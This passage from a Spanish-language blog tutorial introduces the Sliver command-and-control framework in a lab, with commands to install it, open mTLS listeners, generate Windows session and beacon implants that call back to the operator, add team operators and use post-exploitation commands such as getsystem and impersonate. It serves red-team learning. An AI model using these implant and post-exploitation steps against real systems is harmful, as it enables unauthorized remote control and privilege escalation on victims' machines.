bastante fácil de seguir.</p><p>Tan solo ejecuta el comando:</p><pre>curl https://sliver.sh/install|sudo bash</pre><p>Con eso ya tendríamos instalado Sliver en nuestra máquina Linux.</p><h3>Inicialización</h3><p>Ahora tendrémos disponibles el comando:</p><pre>sliver</pre><p>Si estás utilizando la versión que viene pre-instalada en Kali Linux, ejecuta en su lugar:</p><pre>sliver-server</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/900/1*Ad9nb6aGUmdboB0MzeeUhw.png" /></figure><h3>Arquitectura de un Command and Control</h3><p>La arquitectura de una operación ejecutada usando un C2 desde el otro lado de internet a una red empresarial es mucho más compleja que la típica reverse shell ejecutada desde la misma red local, no es una arquitectura lineal como cuando la máquina del operador (atacante) se encuentra en la misma red local que la de la máquina objetivo (víctima). Puede lucir algo más parecido a esto:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fsV0N3hqJKMmCRg8m1PJrw.png" /></figure><p>Como se puede ver, el equipo atacante posee un servidor con una IP pública que toma el rol de servidor C2, es el componente central con el que se conectan tanto los implantes ejecutados en el sistema de la víctima como los clientes utilizados por los operadores para administrar el servidor C2.</p><h4>Sin embargo, ejecutaremos tanto los clientes de Sliver como el servidor en nuestra propia máquina Kali Linux para fines educativos. Algo parecido a esto:</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/982/1*0nPCqBCRaA5D6LIP_YfYAg.png" /></figure><h3>Requisitos de Laboratorio</h3><p>Para este laboratorio utilizaremos las siguientes máquinas:</p><ul><li><strong>Kali Linux:</strong> Tendrá el rol de <strong>servidor </strong>y <strong>cliente</strong>.</li><li><strong>Windows Server 2019:</strong> Sistema objetivo que infectaremos con los implantes.</li></ul><p>Para fines educativos he desabilitado el <strong><em>Windows Defender </em></strong>en la máquina objetivo debido a que este post no se tocarán temas de evasión de defensas.</p><h3>Empecemos a Divertirnos</h3><p>Dicho todo esto, empecemos con lo divertido.</p><h4>Menú de ayuda</h4><p>Una vez iniciado Sliver algo muy importante de conocer es el menú de ayuda de la herramienta. Puedes obtener todas las opciones de Sliver con el comando:</p><pre>help</pre><p>Si necesitas ver la ayuda de un comando en específico, utiliza la siguiente estructura:</p><pre>[command] --help</pre><h4>Creación de nuestro primer Listener</h4><p>Ahora empecemos generando el listener que utilizaremos para recibir las comunicaciones de nuestros implantes. Para esta ocasión utilizaremos el protocolo <strong><em>mTLS</em></strong>, aunque puedes usar de igual manera <strong><em>DNS</em></strong> o <strong><em>HTTP/HTTPS</em></strong>:</p><pre>mtls -L 172.18.45.24 -l 443</pre><p><strong>Desgloce del comando:</strong></p><ul><li><strong>-L 172.18.45.24:</strong> Indica la interfaz/IP que Sliver utilizará para escuchar la conexión. <strong><em>Esta opción es muy útil en caso de tener múltiples interfaces de red conectadas a diferentes redes.</em></strong></li><li><strong>-l 443:</strong> Indica el puerto de escucha, en este caso utilizamos el 443 para que nuestro tráfico se mezcle con el tráfico HTTPS.</li></ul><p>Con esto ya habremos creado nuestro primer <strong><em>listener</em></strong>. Ahora necesitamos hacer que el sistema objetivo se conecte a nuestro <strong><em>listener</em></strong>.</p><h4>Generación de Implante</h4><p>La forma en que el objetivo establecerá una conexión con nuestro servidor C2 y específicamente con el listener que hemos generado recién es con un implante que se ejecutará en la máquina objetivo.</p><p>En este caso generaremos un implante del tipo <strong><em>Session</em></strong>.</p><blockquote><strong><em>Más adelante crearemos uno del tipo Beacon.</em></strong></blockquote><pre>generate --mtls 172.18.45.24:443 -o windows -a amd64 --format exe</pre><p><strong>Desgloce del comando:</strong></p><ul><li><strong>--mtls:</strong> Se refiere al protocolo a través del que se va a conectar el implante con el servidor C2. También podrías sustituirlo por <strong><em>--http</em></strong> o <strong><em>--dns</em></strong>.</li><li><strong>172.18.45.24:443:</strong> Es la IP y el puerto al que se va a conectar el implante y donde se encuentra escuchando el listener.</li><li><strong>-o windows:</strong> El sistema operativo del sistema objetivo.</li><li><strong>-a amd64:</strong> La arquitectura del sistema objetivo.</li><li><strong>--format exe:</strong> Formato de salida del implante.</li></ul><p>Al final se nos genera un implante con un nombre aleatorio, aunque puedes usar la opción <strong>-n</strong> para asignarle el nombre que quieras:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/861/1*JUI9ZO6T58OmSnXszA3awA.png" /></figure><blockquote>A partir de este punto debemos provocar la ejecución del implante en el servidor objetivo. Este paso no será tocado en este post debido a que existen muchas técnicas relacionadas a la obtención de un <strong>initial foothold </strong>en un sistema objetivo, entre ellos las técnicas de <strong><em>phishing</em></strong>.</blockquote><h4>Establecimiento de conexión</h4><p>Una vez ejecutado el implante, obtendrémos una conexión en el servidor de Sliver. Para listar las sesiones activas ejecutamos el siguiente comando:</p><pre>sessions</pre><p>Y obtendrémos un resultado como este:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*efJdhin1DkDUhqPamRZBaA.png" /></figure><p>Como te podrás imaginar, podemos tener múltiples conexiones establecidas con diferentes implantes en diferentes equipos repartidos por una o varias redes. Para acceder a una sesión específica y poder ejecutar comando en un sistema específico utilizamos el comando <strong><em>use</em></strong> y le indicamos el ID de la sesión:</p><pre>use &lt;id&gt;</pre><p>Lo cual nos abre una línea de comando interactiva que ejecuta todo lo que escribimos en la máquina objetivo:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1017/1*k6j1w6UmBd20F6aG_HnmLw.png" /></figure><p>Puedes volver al menú principal de Sliver sin cerrar la conexión con el siguiente comando:</p><pre>background</pre><p>Como ves ya hemos ganado acceso al sistema objetivo utilizando un C2, pero seguro te estarás preguntando ¿Qué diferencia un C2 de una reverse shell de toda la vida?, porque pareciera que hemos obtenido una conexión reversa como cualquier otra… ahora te enseñaré algunas caracteristicas bastante interesantes que hace de un <strong>Command and Control </strong>una herramienta de vitál importancia en un ejercicio de <strong><em>Red Teaming</em></strong> o un <strong><em>pentesting</em></strong>.</p><h3>Características Importantes de Sliver</h3><p>Si bien esto es una <strong><em>“Introducción a Sliver C2”</em></strong> quiero enseñarte algunas caracteristicas interesante de un C2 como Sliver.</p><h4>Conexiones periódicas con Beacon</h4><p>Como dije anteriormente, en Sliver puedes generar un <strong><em>implant</em></strong> que <strong>no mantiene una conexión interactiva constante con el C2</strong>. En su lugar, se despierta periódicamente para comunicarse con el servidor, <strong>enviar información y comprobar si tiene nuevas tareas</strong>, esto es un implante del tipo <strong>Beacon</strong>.</p><p>Primero configuremos un listener para el implante:</p><pre>mtls -L 172.18.45.24 -l 4443</pre><p>Este tipo de implantes los generamos con el comando:</p><pre>generate beacon --mtls 172.18.45.24:4443 -o windows -a amd64 --format exe --seconds 5 --jitter 3</pre><p>Como puedes ver lo único que cambia del comando que utilizamos para generar un implante de tipo <strong><em>session </em></strong>es la palabra <strong><em>beacon</em></strong> después del comando <strong><em>generate</em></strong><em>. Además, hay dos opciones extras que son:</em></p><ul><li><strong>--seconds 5:</strong> Se comunica con el servidor C2 cada 5 segundos.</li><li><strong>--jitter 3:</strong> Agrega una variación aleatoria de entre 1 y 3 segundos para evitar un patrón de conexiones regulares.</li></ul><blockquote>He utilizado rangos de tiempos cortos para fines didacticos, aunque mi recomendación es que no sean tan cortos.</blockquote><p>Puedes listar todos los <strong><em>beacons</em></strong> con el comando:</p><pre>beacons</pre><p>E ingresar a un beacon específico ejecutando el comando:</p><pre>use &lt;id&gt;</pre><p>Ahora intenta ejecutar un comando en el <strong><em>beacon</em></strong> notarás que los comandos se agregan a una lista de tareas:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/794/1*5D1k-gqzVbYqARvj9IHHtw.png" /></figure><p>Y segundos después ejecuta el comando y emite los resultados</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/886/1*SwuQ5gRMbbEprMjzEWRmiQ.png" /></figure><p>Así es como funciona un beacon; más lento y más sigilosos.</p><h4>Pasar de un beacon a una session</h4><p>Otra caracteristica interesante es la capacidad de pasar desde un beacon a una sesión con el comando:</p><pre>interactive</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6f9C2BtlBz6e3J-Sx1YqTw.png" /></figure><blockquote>Toma en cuenta que esto no es posible de forma inversa, no puedes pasar de una sesión interactiva a un beacon.</blockquote><h4>Multiplayer mode</h4><p>Sí, como vimos en el diagrama de la arquitectura de un C2, no necesariamente tiene que existir un único operador interactuando con el servidor.</p><p>Sliver permite trabajar con múltiples clientes conectados al mismo <strong>Sliver Server</strong>, donde cada operador puede tener su propia configuración e identidad. De esta forma, varios miembros de un equipo pueden trabajar simultáneamente sobre una misma infraestructura C2 y compartir el contexto de la operación.</p><p>Esto resulta especialmente útil en ejercicios de Red Team donde participan varios operadores, ya que permite centralizar la gestión de los implants, sesiones, beacons y tareas desde un único servidor.</p><p>Crear un C2 multiplayer es muy sencillo con Sliver.</p><ol><li><strong>Habilitamos el modo multiplayer con el comando:</strong></li></ol><pre>multiplayer</pre><p>2. Agregamos un nuevo operador:</p><pre>new-operator -n operador1 -l 172.18.45.24 -P all</pre><p><strong>Desgloce del comando:</strong></p><ul><li><strong>-n operador1:</strong> Nombre del nuevo operador.</li><li><strong>-l 172.18.45.24:</strong> La IP del servidor C2.</li><li><strong>-P all:</strong> Permisos que tendrá el operador (Asignamos permisos en “<strong>all</strong>” para fines didacticos).</li></ul><p>Y obtenemos un archivo de configuración para los clientes:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/712/1*qtodA5jB3qMuMXIg2Yj9HQ.png" /></figure><p>Ahora puedes utilizar cualquier cliente de sliver para conectarte al servidor con este archivo. Un ejemplo de estos es el binario <strong><em>sliver-client</em></strong>. Copia el archivo resultante al directorio raíz de tu usuario actual y partiendo de ahí a la ruta <strong><em>.sliver-client/config/</em></strong>:</p><pre>cp operador1_172.18.45.24.cfg /root/.sliver-client/configs/</pre><p>Ejecutas el cliente:</p><pre>sliver-client</pre><p>Y obtenemos acceso al servidor:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/716/1*Gayu7tmu88hiZOeyRU-PYg.png" /></figure><h4>Cliente gráfico</h4><p>No todo queda en una línea de comando. También existen componentes desarrollados por terceros que añaden caracteristicas interesantes como interfaz gráfica. Personalmente, recomiendo que le eches un vistazo al repositorio <a href="https://github.com/Mr-In4inci3le/sliver-gui">Mr-In4inci3le/sliver-gui</a>, allí podrás encontrar un cliente gráfico para Sliver escrito en Golang.</p><p>Para utilizarlo puedes compilarlo o descargar el binario que se adapte a tu sistema desde las <a href="https://github.com/Mr-In4inci3le/sliver-gui/releases">releases</a>.</p><p>Una vez descargado, ejecutas el binario (en mi caso lo he renombrado a <strong><em>sliver-gui</em></strong>):</p><pre>sliver-gui</pre><p>Al inicializarse debes elegir el archivo de configuración para este cliente:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Vy_a12KcCyRENfbGuunYVQ.png" /></figure><p>Lo seleccionas y ya tendrías un acceso gráfico a Sliver C2.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9Tlt6r0TsXCKHYy4P_1VvQ.png" /></figure><blockquote>Recuerda que para poder ejecutar este como cualquier otro cliente, sea gráfico o no, necesitas tener ejecutando el servidor ya que es quien realmente hace todo el trabajo por detrás, los clientes solo permiten interactuar con el servidor.</blockquote><h4>Comandos de Post-Explotación</h4><p>Sliver así como muchos otros framework C2 como <strong><em>Metasploit</em></strong> o <strong><em>Covenant</em></strong> poseen comandos que automatizan algunos procesos después de haber obtenido un initial foothold en un equipo. Aquí listaré algunos de los comando que posee Sliver.</p><ul><li><strong>migrate:</strong> Migra el proceso donde se está ejecutando el implante a otro proceso.</li><li><strong>upload: </strong>Permite subir de forma rápida y fácil un archivo a la máquina objetivo.</li><li><strong>impersonate:</strong> Suplanta un usuario previamente autenticado.</li><li><strong>getsystem: </strong>Genera una nueva sesión ejecutada bajo el usuario <strong><em>NT Authority/SYSTEM</em></strong> para esto realiza algunas técnicas de escalada de privilegios en el entorno Windows.</li><li><strong>make-token:</strong> Crea un nuevo proceso con credenciales especificadas por el operador.</li></ul><h3>Despedida</h3><p>Bien, eso ha sido una introducción a los fundamentos de cómo funciona un Command and Control. A decir verdad, hay todo un mundo detrás de los C2, esto solo ha sido una pequeña cucharada.</p><p>Sin embargo, me he esforzado para que puedas entender las bases de la mejor forma posible, espero que te haya gustado y sobretodo hayas aprendido algo nuevo con este post.</p><p>Si estás interesado en ver más de mi trabajo te invito a que pases por mi <a href="https://github.com/TheRealCiscoo">Github</a>.</p><h3>Referencias</h3><ul><li><a href="https://dominicbreuker.com/post/learning_sliver_c2_01_installation/">https://dominicbreuker.com/post/learning_sliver_c2_01_installation/</a></li><li><a href="https://github.com/BishopFox/sliver">https://github.com/BishopFox/sliver</a></li><li><a href="https://sliver.sh/docs/">https://sliver.sh/docs/</a></li><li><a href="https://github.com/Mr-In4inci3le/sliver-gui">https://github.com/Mr-In4inci3le/sliver-gui</a></li><li><a href="https://dominicbreuker.com/post/">https://dominicbreuker.com/post/</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=7147bcd9d670" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>